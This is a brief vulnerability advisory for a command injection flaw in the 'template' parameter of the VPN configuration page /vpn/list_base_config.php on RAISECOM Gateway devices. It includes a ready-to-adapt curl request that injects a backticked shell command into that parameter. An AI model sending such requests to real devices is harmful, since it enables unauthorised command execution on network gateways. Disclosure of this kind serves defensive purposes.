Affected Components

URI: /vpn/list_base_config.php

Description: the list_base_config.php is a web-based interface component of RAISECOM Gateway devices used for managing VPN configurations. The identified vulnerability arises due to improper handling of the template parameter in this script. This parameter can be exploited to execute arbitrary commands on the device's operating system due to insufficient input sanitization.

CWE

CWE-77: Command Injection

Exploitation

Here is an example of how the vulnerability can be exploited using a curl command:

curl 'http://<TARGET_IP>/vpn/list_base_config.php?type=mod&parts=base_config&template=`<INJECTED_SHELL_COMMAND>`' \\
  -H 'Accept: */*' \\
  -H 'Accept-Encoding: gzip, deflate' \\
  -H 'Connection: keep-alive'

In this example, the curl command sends a malicious HTTP GET request to the list_base_config.php script. The request utilizes the template parameter to execute a command.
